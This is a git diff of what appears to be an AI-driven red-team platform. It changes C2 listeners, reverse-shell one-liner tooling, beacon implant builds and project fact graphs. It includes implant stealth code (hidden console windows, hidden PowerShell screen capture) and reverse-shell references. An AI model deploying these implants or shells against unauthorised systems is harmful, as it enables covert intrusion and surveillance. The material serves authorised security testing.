+			ids := make([]string, 0, len(rawIDs))
+			for _, v := range rawIDs {
+				if s, ok := v.(string); ok && strings.TrimSpace(s) != "" {
+					ids = append(ids, strings.TrimSpace(s))
+				}
+			}
+			n, err := m.DB().DeleteC2SessionsByIDs(ids)
+			return makeC2Result(map[string]interface{}{"deleted": n}, err)
+
 		default:
 			return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
 		}
@@ -491,11 +517,11 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
 		Name: builtin.ToolC2Payload,
 		Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作：
 - oneliner: 生成单行 payload。kind 必须与监听器协议一致，否则会失败：
-  • tcp_reverse：裸 TCP 反弹，可用 kind: bash, nc, nc_mkfifo, python, perl, powershell（bash 指 /dev/tcp 类，不是 HTTP）。
+  • tcp_reverse：默认仅支持 build 加密 Beacon；若监听器 config.allow_legacy_shell=true，才可用 kind: bash, nc, nc_mkfifo, python, perl, powershell。
   • http_beacon / https_beacon / websocket：仅 HTTP(S) Beacon 轮询，oneliner 只能用 kind: curl_beacon（脚本内用 bash+curl，与「tcp 的 bash」不同）。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台；若用 exec/execute 同步执行，必须整段原样复制（含末尾 &）。若删掉 &，内部 while 死循环占满前台，调用会一直阻塞到超时/杀进程。
-  • 需要经典 bash 反弹 shell 时：先 c2_listener create type=tcp_reverse，再对该监听器用 kind=bash。
+  • 公网部署 tcp_reverse 请用 build 生成加密 Beacon，勿开启 allow_legacy_shell。
   • 省略 kind 时，会按监听器类型自动选第一个兼容类型（HTTP 系默认为 curl_beacon）。
-- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse（tcp_reverse 下植入端回连后先发魔数 CSB1，再走与 HTTP 相同的 AES-GCM JSON 语义；未发魔数的连接仍按经典交互 shell 处理）。
+- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reverse（tcp_reverse 植入端回连后先发魔数 CSB1，再经 AES-GCM 解密且校验 ImplantToken 后才登记会话）。
 依赖的监听器 bind_port 须避开本服务 Web 端口 %d（配置 server.port，与 c2_listener 描述一致），否则 Beacon 无法正确回连。`, webListenPort),
 		InputSchema: map[string]interface{}{
 			"type": "object",
@@ -540,6 +566,9 @@ func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListe
 				}
 				return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s，兼容类型: %v", listener.Type, kind, names))
 			}
+			if err := c2.ValidateOnelinerForListener(listener, kind); err != nil {
+				return makeC2Result(nil, err)
+			}
 			input := c2.OnelinerInput{
 				Kind:         kind,
 				Host:         host,

internal/app/main_server_http_redirect.go

@@ -47,6 +47,24 @@ func (l *oneConnListener) Accept() (net.Conn, error) {
 func (l *oneConnListener) Close() error   { return nil }
 func (l *oneConnListener) Addr() net.Addr { return l.addr }
 
+// httpServerForTLSConn 从已有 Server 复制可服务字段，用于已握手 TLS 连接上的 HTTP 服务。
+// 不能复制整个 http.Server（内含 atomic/noCopy 字段）。
+func httpServerForTLSConn(src *http.Server) *http.Server {
+	return &http.Server{
+		Handler:                      src.Handler,
+		DisableGeneralOptionsHandler: src.DisableGeneralOptionsHandler,
+		ReadTimeout:                  src.ReadTimeout,
+		ReadHeaderTimeout:            src.ReadHeaderTimeout,
+		WriteTimeout:                 src.WriteTimeout,
+		IdleTimeout:                  src.IdleTimeout,
+		MaxHeaderBytes:               src.MaxHeaderBytes,
+		ConnState:                    src.ConnState,
+		ErrorLog:                     src.ErrorLog,
+		BaseContext:                  src.BaseContext,
+		ConnContext:                  src.ConnContext,
+	}
+}
+
 func isTLSHandshakeRecord(b byte) bool {
 	return b == 0x16
 }
@@ -172,8 +190,7 @@ func (m *mainServerMux) serveHTTPS(pc *peekedConn, localAddr net.Addr) {
 		}
 	}
 
-	plain := *srv
+	plain := httpServerForTLSConn(srv)
-	plain.TLSConfig = nil
 	ocl := &oneConnListener{conn: tlsConn, addr: localAddr}
 	if err := plain.Serve(ocl); err != nil && !errors.Is(err, net.ErrClosed) && !errors.Is(err, http.ErrServerClosed) {
 		m.logger.Debug("HTTPS 连接处理结束", zap.Error(err))

internal/app/project_fact_tools.go

@@ -89,6 +89,28 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
 					"type":        "string",
 					"description": "可选：关联的漏洞记录 ID",
 				},
+				"links": map[string]interface{}{
+					"type": "array",
+					"description": "可选：关系边（from → 当前 fact）。finding 至少 1 条 {from:target/*, type:discovered_on}；finding 上记录 exploit 用 {from:exploit/*, type:exploits}。省略保留已有边；传 [] 清空全部关系边。",
+					"items": map[string]interface{}{
+						"type": "object",
+						"properties": map[string]interface{}{
+							"from": map[string]interface{}{
+								"type":        "string",
+								"description": "来源 fact_key：存储为 from → 当前 fact",
+							},
+							"type": map[string]interface{}{
+								"type":        "string",
+								"description": "depends_on | leads_to | enables | exploits | discovered_on | contains | part_of | supports",
+							},
+							"confidence": map[string]interface{}{
+								"type":        "string",
+								"description": "confirmed | tentative | deprecated",
+							},
+						},
+						"required": []string{"from", "type"},
+					},
+				},
 			},
 			"required": []string{"fact_key", "summary"},
 		},
@@ -124,7 +146,26 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
 		if err != nil {
 			return textResult("错误: "+err.Error(), true), nil
 		}
+		if _, hasLinks := args["links"]; hasLinks {
+			linkInputs, err := project.ParseFactLinkInputs(args["links"])
+			if err != nil {
+				return textResult("错误: "+err.Error(), true), nil
+			}
+			convID := agent.ConversationIDFromContext(ctx)
+			if err := project.PersistFactLinksFromParsed(db, projectID, created.FactKey, convID, linkInputs, true); err != nil {
+				return textResult("错误: 保存关系边失败: "+err.Error(), true), nil
+			}
+			created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
+		} else if parsed := project.ParseLinksFromBody(created.Body); len(parsed) > 0 {
+			if err := project.PersistFactIncomingLinks(db, projectID, created.FactKey, parsed, true); err != nil {
+				return textResult("错误: 从 body 解析边失败: "+err.Error(), true), nil
+			}
+			created, _ = db.GetProjectFactByKey(projectID, created.FactKey)
+		}
 		msg := fmt.Sprintf("事实已保存。\nfact_key: %s\nid: %s\nconfidence: %s", created.FactKey, created.ID, created.Confidence)
+		if in, _ := db.ListIncomingProjectFactEdges(projectID, created.FactKey); len(in) > 0 {
+			msg += "\n关系边: " + project.FormatFactLinksText(in)
+		}
 		if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
 			msg += warn
 		}
@@ -164,6 +205,18 @@ func registerProjectFactTools(mcpServer *mcp.Server, db *database.DB, cfg *confi
 		if f.SourceConversationID != "" {
 			msg += fmt.Sprintf("\nsource_conversation_id: %s", f.SourceConversationID)
 		}
+		if in, _ := db.ListIncomingProjectFactEdges(projectID, f.FactKey); len(in) > 0 {
+			msg += "\n关系边（from → 本 fact）:\n"
+			for _, e := range in {
+				msg += fmt.Sprintf("- %s ← %s (%s)\n", e.EdgeType, e.SourceFactKey, e.Confidence)
+			}
+		}
+		if out, _ := db.ListOutgoingProjectFactEdges(projectID, f.FactKey); len(out) > 0 {
+			msg += "指向其他事实:\n"
+			for _, e := range out {
+				msg += fmt.Sprintf("- %s → %s (%s)\n", e.EdgeType, e.TargetFactKey, e.Confidence)
+			}
+		}
 		msg += "\n\n--- body ---\n" + f.Body
 		if warn := project.SparseBodyWarningIfNeeded(f.Category, f.FactKey, f.Body); warn != "" {
 			msg += warn

internal/app/vulnerability_tools.go

@@ -293,8 +293,8 @@ func registerListVulnerabilitiesTool(mcpServer *mcp.Server, db *database.DB, log
 				},
 				"status": map[string]interface{}{
 					"type":        "string",
-					"description": "按状态筛选：open、confirmed、fixed、false_positive",
+					"description": "按状态筛选：open、confirmed、fixed、false_positive、ignored",
-					"enum":        []string{"open", "confirmed", "fixed", "false_positive"},
+					"enum":        []string{"open", "confirmed", "fixed", "false_positive", "ignored"},
 				},
 				"q": map[string]interface{}{
 					"type":        "string",

internal/attackchain/promote_project.go

@@ -0,0 +1,203 @@
+package attackchain
+
+import (
+	"fmt"
+	"regexp"
+	"strings"
+
+	"cyberstrike-ai/internal/database"
+	"cyberstrike-ai/internal/project"
+
+	"github.com/google/uuid"
+)
+
+var promoteSlugSanitizer = regexp.MustCompile(`[^a-z0-9._/-]+`)
+
+// PromoteToProjectResult 攻击链沉淀结果。
+type PromoteToProjectResult struct {
+	FactsCreated int                         `json:"facts_created"`
+	FactsUpdated int                         `json:"facts_updated"`
+	EdgesCreated int                         `json:"edges_created"`
+	FactKeys     []string                    `json:"fact_keys"`
+	Graph        *database.ProjectFactGraph  `json:"graph,omitempty"`
+}
+
+// PromoteToProject 将对话攻击链沉淀为项目事实与边。
+func PromoteToProject(db *database.DB, projectID, conversationID string) (*PromoteToProjectResult, error) {
+	if db == nil {
+		return nil, fmt.Errorf("database 未初始化")
+	}
+	projectID = strings.TrimSpace(projectID)
+	conversationID = strings.TrimSpace(conversationID)
+	if projectID == "" || conversationID == "" {
+		return nil, fmt.Errorf("project_id 与 conversation_id 必填")
+	}
+	if _, err := db.GetProject(projectID); err != nil {
+		return nil, fmt.Errorf("项目不存在")
+	}
+	conv, err := db.GetConversation(conversationID)
+	if err != nil {
+		return nil, fmt.Errorf("对话不存在")
+	}
+	if pid := strings.TrimSpace(conv.ProjectID); pid != "" && pid != projectID {
+		return nil, fmt.Errorf("对话已绑定其他项目")
+	}
+
+	nodes, err := db.LoadAttackChainNodes(conversationID)
+	if err != nil {
+		return nil, err
+	}
+	edges, err := db.LoadAttackChainEdges(conversationID)
+	if err != nil {
+		return nil, err
+	}
+	if len(nodes) == 0 {
+		return nil, fmt.Errorf("该对话尚无攻击链，请先在对话中生成攻击链")
+	}
+
+	res := &PromoteToProjectResult{}
+	nodeToKey := make(map[string]string, len(nodes))
+	usedKeys := map[string]int{}
+
+	for _, node := range nodes {
+		key := allocatePromoteFactKey(node, usedKeys)
+		nodeToKey[node.ID] = key
+		category := mapPromoteNodeCategory(node.Type)
+		existing, getErr := db.GetProjectFactByKey(projectID, key)
+		f := &database.ProjectFact{
+			ProjectID:            projectID,
+			FactKey:              key,
+			Category:             category,
+			Summary:              strings.TrimSpace(node.Label),
+			Body:                 formatPromotedFactBody(node, conversationID),
+			Confidence:           "tentative",
+			SourceConversationID: conversationID,
+		}
+		if getErr == nil && existing != nil {
+			f.ID = existing.ID
+			f.CreatedAt = existing.CreatedAt
+			if strings.TrimSpace(f.Summary) == "" {
+				f.Summary = existing.Summary
+			}
+			if _, err := db.UpsertProjectFact(f); err != nil {
+				return nil, err
+			}
+			res.FactsUpdated++
+		} else {
+			if _, err := db.UpsertProjectFact(f); err != nil {
+				return nil, err
+			}
+			res.FactsCreated++
+		}
+		res.FactKeys = append(res.FactKeys, key)
+	}
+
+	for _, edge := range edges {
+		srcKey, ok1 := nodeToKey[edge.Source]
+		tgtKey, ok2 := nodeToKey[edge.Target]
+		if !ok1 || !ok2 || srcKey == tgtKey {
+			continue
+		}
+		edgeType := mapPromoteEdgeType(edge.Type)
+		incoming, _ := db.ListIncomingProjectFactEdges(projectID, tgtKey)
+		merged := project.MergeLinkFromInputsUnique(promoteFromEdgeInputsFromDB(incoming), []database.ProjectFactEdgeFromInput{{From: srcKey, Type: edgeType}})
+		if err := db.ReplaceIncomingProjectFactEdges(projectID, tgtKey, merged); err != nil {
+			return nil, err
+		}
+		res.EdgesCreated++
+		if fact, err := db.GetProjectFactByKey(projectID, tgtKey); err == nil {
+			in, _ := db.ListIncomingProjectFactEdges(projectID, tgtKey)
+			fact.Body = project.SyncBodyLinksSection(fact.Body, in)
+			_, _ = db.UpsertProjectFact(fact)
+		}
+	}
+
+	graph, _ := project.BuildProjectFactGraph(db, projectID, "full", true)
+	res.Graph = graph
+	return res, nil
+}
+
+func promoteFromEdgeInputsFromDB(edges []*database.ProjectFactEdge) []database.ProjectFactEdgeFromInput {
+	out := make([]database.ProjectFactEdgeFromInput, 0, len(edges))
+	for _, e := range edges {
+		out = append(out, database.ProjectFactEdgeFromInput{From: e.SourceFactKey, Type: e.EdgeType, Confidence: e.Confidence})
+	}
+	return out
+}
+
+func mapPromoteNodeCategory(nodeType string) string {
+	switch strings.ToLower(strings.TrimSpace(nodeType)) {
+	case "target":
+		return project.FactCategoryTarget
+	case "vulnerability":
+		return project.FactCategoryFinding
+	case "action":
+		return project.FactCategoryChain
+	default:
+		return project.FactCategoryNote
+	}
+}
+
+func mapPromoteEdgeType(t string) string {
+	switch strings.ToLower(strings.TrimSpace(t)) {
+	case "discovers", "discovered_on", "targets":
+		return "discovered_on"
+	case "exploits":
+		return "exploits"
+	case "enables":
+		return "enables"
+	case "depends_on":
+		return "depends_on"
+	default:
+		return "leads_to"
+	}
+}
+
+func allocatePromoteFactKey(node Node, used map[string]int) string {
+	prefix := "chain/"
+	switch strings.ToLower(strings.TrimSpace(node.Type)) {
+	case "target":
+		prefix = "target/"
+	case "vulnerability":
+		prefix = "finding/"
+	case "action":
+		prefix = "chain/"
+	}
+	base := promoteSlugify(node.Label)
+	if base == "" {
+		base = promoteSlugify(node.ID)
+	}
+	if base == "" {
+		base = uuid.New().String()[:8]
+	}
+	key := prefix + base
+	if n, ok := used[key]; ok {
+		n++
+		used[key] = n
+		key = fmt.Sprintf("%s-%d", key, n)
+	} else {
+		used[key] = 1
+	}
+	return key
+}
+
+func promoteSlugify(s string) string {
+	s = strings.ToLower(strings.TrimSpace(s))
+	s = strings.NewReplacer(" ", "-", "—", "-", "–", "-", "/", "-").Replace(s)
+	s = promoteSlugSanitizer.ReplaceAllString(s, "-")
+	s = strings.Trim(s, "-")
+	if len(s) > 64 {
+		s = s[:64]
+	}
+	return s
+}
+
+func formatPromotedFactBody(node Node, conversationID string) string {
+	var b strings.Builder
+	b.WriteString("## 来源\n")
+	b.WriteString(fmt.Sprintf("- 对话攻击链沉淀\n- source_conversation_id: %s\n- node_id: %s\n- node_type: %s\n\n", conversationID, node.ID, node.Type))
+	b.WriteString("## 摘要\n")
+	b.WriteString(strings.TrimSpace(node.Label))
+	b.WriteString("\n\n## 关联\n- 结构化关系边（自动同步）:\n  （见项目攻击路径图）\n")
+	return b.String()
+}

internal/c2/listener_tcp.go

@@ -20,10 +20,9 @@ import (
 )
 
 // TCPReverseListener 监听 TCP 端口，等待目标机反弹连接。
-// 经典模式：纯交互式 raw shell，与 nc / bash -i >& /dev/tcp 兼容。
+// 默认仅接受加密 TCP Beacon：连接后先发送魔数 CSB1，再经 AES-GCM 解密且校验 ImplantToken 后才登记会话。
-// 二进制 Beacon：连接后先发送魔数 CSB1，随后使用与 HTTP Beacon 相同的 AES-GCM JSON 语义（成帧见 tcp_beacon_server.go）。
+// 可选经典模式（config.allow_legacy_shell=true）：纯交互式 raw shell，与 nc / bash -i >& /dev/tcp 兼容，无鉴权，仅建议内网实验。
-// 每个新连接自动生成一个 implant_uuid（基于远端地址 + 启动时间 hash），登记为 c2_session；
+// 任务派发（经典模式）：同步 exec —— 收到 task 时直接 send 命令字节并读取输出（带结束标记）。
-// 任务派发：使用同步 exec 模式 —— 收到 task 时直接 send 命令字节并读取输出（带结束标记）。
 type TCPReverseListener struct {
 	rec     *database.C2Listener
 	cfg     *ListenerConfig
@@ -122,12 +121,14 @@ func (l *TCPReverseListener) acceptLoop() {
 	}
 }
 
-// handleConn 一个连接=一个会话：先识别二进制 TCP Beacon（魔数 CSB1），否则走经典交互式 shell。
+// handleConn 先识别加密 TCP Beacon（魔数 CSB1 + AES-GCM + Token）；未通过则按配置拒绝或走经典 shell。
 func (l *TCPReverseListener) handleConn(conn net.Conn) {
 	br := bufio.NewReader(conn)
-	_ = conn.SetReadDeadline(time.Now().Add(20 * time.Second))
+	remote := conn.RemoteAddr().String()
-	prefix, err := br.Peek(4)
+
-	if err == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
+	_ = conn.SetReadDeadline(time.Now().Add(tcpBeaconPeekTimeout))
+	prefix, peekErr := br.Peek(4)
+	if peekErr == nil && len(prefix) == 4 && string(prefix) == tcpBeaconMagic {
 		if _, err := br.Discard(4); err != nil {
 			_ = conn.Close()
 			return
@@ -136,14 +137,22 @@ func (l *TCPReverseListener) handleConn(conn net.Conn) {
 		l.handleTCPBeaconSession(conn, br)
 		return
 	}
+
+	if !l.cfg.AllowLegacyShell {
+		l.logger.Debug("tcp_reverse 拒绝未加密连接", zap.String("remote", remote))
+		_ = conn.Close()
+		return
+	}
+
 	_ = conn.SetReadDeadline(time.Time{})
 	l.handleShellConn(conn, br)
 }
 
-// handleShellConn 经典裸 TCP 反弹 shell（与 nc/bash /dev/tcp 兼容）。
+// handleShellConn 经典裸 TCP 反弹 shell（与 nc/bash /dev/tcp 兼容）；需监听器显式开启 allow_legacy_shell。
 func (l *TCPReverseListener) handleShellConn(conn net.Conn, br *bufio.Reader) {
 	remote := conn.RemoteAddr().String()
 	host, _, _ := net.SplitHostPort(remote)
+
 	// 用 listener+remote_ip 生成稳定 implant_uuid，使同一来源的重连复用同一会话
 	uuidSeed := fmt.Sprintf("%s|%s", l.rec.ID, host)
 	hash := sha256.Sum256([]byte(uuidSeed))

internal/c2/manager.go

@@ -381,8 +381,10 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
 		Metadata:      req.Metadata,
 	}
 	if existing != nil {
-		// 保留原 ID/FirstSeenAt/Note，避免被覆盖
+		// 保留原 ID/FirstSeenAt/Note 与操作员设置的 sleep/jitter，避免被 beacon 心跳上报覆盖
 		session.FirstSeenAt = existing.FirstSeenAt
+		session.SleepSeconds = existing.SleepSeconds
+		session.JitterPercent = existing.JitterPercent
 		if session.Note == "" {
 			session.Note = existing.Note
 		}
@@ -413,6 +415,44 @@ func (m *Manager) IngestCheckIn(listenerID string, req ImplantCheckInRequest) (*
 	return session, nil
 }
 
+// SetSessionSleep 更新会话期望的心跳间隔，并向植入体下发 sleep 任务以尽快生效。
+func (m *Manager) SetSessionSleep(sessionID string, sleepSeconds, jitterPercent int) (*database.C2Task, error) {
+	if strings.TrimSpace(sessionID) == "" {
+		return nil, ErrInvalidInput
+	}
+	if sleepSeconds < 1 {
+		sleepSeconds = 1
+	}
+	if jitterPercent < 0 {
+		jitterPercent = 0
+	}
+	if jitterPercent > 100 {
+		jitterPercent = 100
+	}
+	if err := m.db.SetC2SessionSleep(sessionID, sleepSeconds, jitterPercent); err != nil {
+		return nil, err
+	}
+	task, err := m.EnqueueTask(EnqueueTaskInput{
+		SessionID: sessionID,
+		TaskType:  TaskTypeSleep,
+		Payload: map[string]interface{}{
+			"seconds": sleepSeconds,
+			"jitter":  jitterPercent,
+		},
+		Source: "manual",
+	})
+	if err != nil {
+		m.logger.Warn("sleep 任务入队失败", zap.Error(err), zap.String("session_id", sessionID))
+	}
+	m.publishEvent("info", "session", sessionID, "",
+		fmt.Sprintf("Sleep 已更新: %ds (抖动 %d%%)", sleepSeconds, jitterPercent),
+		map[string]interface{}{
+			"sleep_seconds":  sleepSeconds,
+			"jitter_percent": jitterPercent,
+		})
+	return task, nil
+}
+
 // MarkSessionDead 心跳超时检测器调用：标记会话为 dead
 func (m *Manager) MarkSessionDead(sessionID string) error {
 	if err := m.db.SetC2SessionStatus(sessionID, string(SessionDead)); err != nil {

internal/c2/manager_sleep_test.go

@@ -0,0 +1,118 @@
+package c2
+
+import (
+	"path/filepath"
+	"testing"
+
+	"cyberstrike-ai/internal/database"
+
+	"go.uber.org/zap"
+)
+
+func TestIngestCheckIn_PreservesOperatorSleepOnHeartbeat(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = db.Close() })
+
+	mgr := NewManager(db, zap.NewNop(), tmp)
+	ln, err := mgr.CreateListener(CreateListenerInput{
+		Name:     "t",
+		Type:     string(ListenerTypeHTTPBeacon),
+		BindHost: "127.0.0.1",
+		BindPort: 18080,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	first, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
+		ImplantUUID:   "implant-uuid-1",
+		Hostname:      "host1",
+		Username:      "user",
+		OS:            "darwin",
+		Arch:          "amd64",
+		SleepSeconds:  5,
+		JitterPercent: 0,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	if err := db.SetC2SessionSleep(first.ID, 30, 20); err != nil {
+		t.Fatal(err)
+	}
+
+	second, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
+		ImplantUUID:   "implant-uuid-1",
+		Hostname:      "host1",
+		Username:      "user",
+		OS:            "darwin",
+		Arch:          "amd64",
+		SleepSeconds:  5,
+		JitterPercent: 0,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	if second.SleepSeconds != 30 || second.JitterPercent != 20 {
+		t.Fatalf("expected sleep=30 jitter=20, got sleep=%d jitter=%d", second.SleepSeconds, second.JitterPercent)
+	}
+
+	stored, err := db.GetC2Session(first.ID)
+	if err != nil || stored == nil {
+		t.Fatal(err)
+	}
+	if stored.SleepSeconds != 30 || stored.JitterPercent != 20 {
+		t.Fatalf("db: expected sleep=30 jitter=20, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
+	}
+}
+
+func TestSetSessionSleep_UpdatesDBAndEnqueuesTask(t *testing.T) {
+	tmp := t.TempDir()
+	db, err := database.NewDB(filepath.Join(tmp, "c2.sqlite"), zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = db.Close() })
+
+	mgr := NewManager(db, zap.NewNop(), tmp)
+	ln, err := mgr.CreateListener(CreateListenerInput{
+		Name:     "t2",
+		Type:     string(ListenerTypeHTTPBeacon),
+		BindHost: "127.0.0.1",
+		BindPort: 18081,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+	sess, err := mgr.IngestCheckIn(ln.ID, ImplantCheckInRequest{
+		ImplantUUID:  "implant-uuid-2",
+		Hostname:     "host2",
+		Username:     "user",
+		OS:           "linux",
+		Arch:         "amd64",
+		SleepSeconds: 5,
+	})
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	task, err := mgr.SetSessionSleep(sess.ID, 15, 10)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if task == nil || task.TaskType != string(TaskTypeSleep) {
+		t.Fatalf("expected sleep task, got %#v", task)
+	}
+
+	stored, err := db.GetC2Session(sess.ID)
+	if err != nil || stored == nil {
+		t.Fatal(err)
+	}
+	if stored.SleepSeconds != 15 || stored.JitterPercent != 10 {
+		t.Fatalf("expected sleep=15 jitter=10, got sleep=%d jitter=%d", stored.SleepSeconds, stored.JitterPercent)
+	}
+}

internal/c2/payload_builder.go

@@ -160,6 +160,18 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 	}
 	f.Close()
 
+	// 平台相关辅助源文件（如无窗口子进程）
+	for _, name := range []string{"proc_hide_windows.go", "proc_hide_unix.go"} {
+		helperSrc := filepath.Join(b.tmplDir, name+".tmpl")
+		helperData, readErr := os.ReadFile(helperSrc)
+		if readErr != nil {
+			return nil, fmt.Errorf("read helper %s: %w", name, readErr)
+		}
+		if writeErr := os.WriteFile(filepath.Join(workDir, name), helperData, 0644); writeErr != nil {
+			return nil, fmt.Errorf("write helper %s: %w", name, writeErr)
+		}
+	}
+
 	// 交叉编译
 	binName := strings.TrimSpace(in.OutputName)
 	if binName == "" {
@@ -174,15 +186,16 @@ func (b *PayloadBuilder) BuildBeacon(in PayloadBuilderInput) (*BuildResult, erro
 		return nil, fmt.Errorf("mkdir output: %w", err)
 	}
 
-	absSrcPath, err := filepath.Abs(srcPath)
-	if err != nil {
-		return nil, fmt.Errorf("abs source path: %w", err)
-	}
 	absBinPath, err := filepath.Abs(binPath)
 	if err != nil {
 		return nil, fmt.Errorf("abs output path: %w", err)
 	}
-	cmd := exec.Command("go", "build", "-ldflags", "-s -w -buildid=", "-trimpath", "-o", absBinPath, absSrcPath)
+	ldflags := "-s -w -buildid="
+	if goos == "windows" {
+		// 无控制台窗口运行 beacon 本体
+		ldflags += " -H windowsgui"
+	}
+	cmd := exec.Command("go", "build", "-ldflags", ldflags, "-trimpath", "-o", absBinPath, ".")
 	cmd.Env = append(os.Environ(),
 		"GOOS="+goos,
 		"GOARCH="+goarch,

internal/c2/payload_oneliner.go

@@ -1,9 +1,12 @@
 package c2
 
 import (
+	"encoding/json"
 	"fmt"
 	"net/url"
 	"strings"
+
+	"cyberstrike-ai/internal/database"
 )
 
 // OnelinerKind 单行 payload 的语言/形式
@@ -79,6 +82,23 @@ type OnelinerInput struct {
 	ImplantToken string // HTTP Beacon 鉴权 token
 }
 
+// ValidateOnelinerForListener 校验 oneliner 与监听器配置是否匹配（如 tcp_reverse 默认要求加密 Beacon）。
+func ValidateOnelinerForListener(listener *database.C2Listener, kind OnelinerKind) error {
+	if listener == nil {
+		return fmt.Errorf("listener is nil")
+	}
+	if ListenerType(listener.Type) == ListenerTypeTCPReverse && tcpOnelinerKinds[kind] {
+		cfg := &ListenerConfig{}
+		if strings.TrimSpace(listener.ConfigJSON) != "" {
+			_ = json.Unmarshal([]byte(listener.ConfigJSON), cfg)
+		}
+		if !cfg.AllowLegacyShell {
+			return fmt.Errorf("监听器未开启 allow_legacy_shell：tcp_reverse 默认仅接受 CSB1 加密 Beacon（AES-GCM + Token）；请用 build 生成 beacon，或显式开启 allow_legacy_shell（公网不推荐）")
+		}
+	}
+	return nil
+}
+
 // GenerateOneliner 生成单行 payload。
 // 设计要点：
 //   - 不依赖目标机预装的可执行（除该 oneliner 关键的 bash/python/perl 等）；

internal/c2/payload_templates/beacon.go.tmpl

@@ -729,6 +729,7 @@ func runWithTimeout(cmdStr string, timeoutSec int) (string, error) {
 		timeoutSec = 60
 	}
 	cmd := exec.Command(shellByOS(), shellFlag(), cmdStr)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()
@@ -959,7 +960,7 @@ func taskScreenshot() (string, string, string, string) {
 		b64Out, err = runWithTimeout("import -window root /tmp/.cs_ss.png 2>/dev/null && base64 /tmp/.cs_ss.png && rm -f /tmp/.cs_ss.png", 30)
 	case "windows":
 		ps := `Add-Type -AssemblyName System.Windows.Forms; Add-Type -AssemblyName System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Location,[System.Drawing.Point]::Empty,$b.Size); $m=New-Object IO.MemoryStream; $b.Save($m,[System.Drawing.Imaging.ImageFormat]::Png); [Convert]::ToBase64String($m.ToArray())`
-		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -Command \"%s\"", ps), 30)
+		b64Out, err = runWithTimeout(fmt.Sprintf("powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command \"%s\"", ps), 30)
 	default:
 		return "", "", "", "screenshot not supported on " + runtime.GOOS
 	}
@@ -1200,6 +1201,7 @@ func taskLoadAssembly(payload map[string]interface{}) (string, string, string, s
 		cmdArgs = strings.Fields(args)
 	}
 	cmd := exec.Command(tmpFile, cmdArgs...)
+	prepareHiddenCmd(cmd)
 	cwdMu.Lock()
 	cmd.Dir = currentCwd
 	cwdMu.Unlock()

internal/c2/payload_templates/proc_hide_unix.go.tmpl

@@ -0,0 +1,9 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	_ = cmd
+}

internal/c2/payload_templates/proc_hide_windows.go.tmpl

@@ -0,0 +1,18 @@
+//go:build windows
+
+package main
+
+import (
+	"os/exec"
+	"syscall"
+)
+
+// prepareHiddenCmd 避免子进程弹出控制台窗口（cmd / powershell / 临时 exe 等）。
+func prepareHiddenCmd(cmd *exec.Cmd) {
+	if cmd == nil {
+		return
+	}
+	// 仅用 HideWindow：等价于 CREATE_NO_WINDOW，且 macOS/Linux 交叉编译 Windows 时
+	// syscall.CREATE_NO_WINDOW 常量不可用。
+	cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
+}

internal/c2/tcp_beacon_server.go

@@ -23,6 +23,9 @@ import (
 // tcpBeaconMagic 二进制 Beacon 在反向 TCP 连接建立后首先发送的 4 字节，用于与经典 shell 反弹区分。
 const tcpBeaconMagic = "CSB1"
 
+// tcpBeaconPeekTimeout 等待 CSB1 魔数的探测窗口；合法 Beacon 连接后立即发送魔数。
+const tcpBeaconPeekTimeout = 2 * time.Second
+
 // tcpBeaconMaxFrame 单帧密文（base64 字符串）最大字节数，防止 OOM。
 const tcpBeaconMaxFrame = 64 << 20
 

internal/c2/types.go

@@ -141,6 +141,8 @@ type ListenerConfig struct {
 	MaxConcurrentTasks int `json:"max_concurrent_tasks,omitempty"`
 	// CallbackHost 植入端/Payload 使用的回连主机名（可选）；与 bind_host 分离，便于 NAT/ECS 等场景
 	CallbackHost string `json:"callback_host,omitempty"`
+	// AllowLegacyShell 为 true 时 tcp_reverse 允许未加密的经典 bash/nc 反弹 shell 登记会话（默认 false，公网部署强烈不建议开启）
+	AllowLegacyShell bool `json:"allow_legacy_shell,omitempty"`
 }
 
 // ApplyDefaults 对未填字段填默认值；调用方负责持久化时序列化新值

internal/config/config.go

@@ -27,6 +27,7 @@ type Config struct {
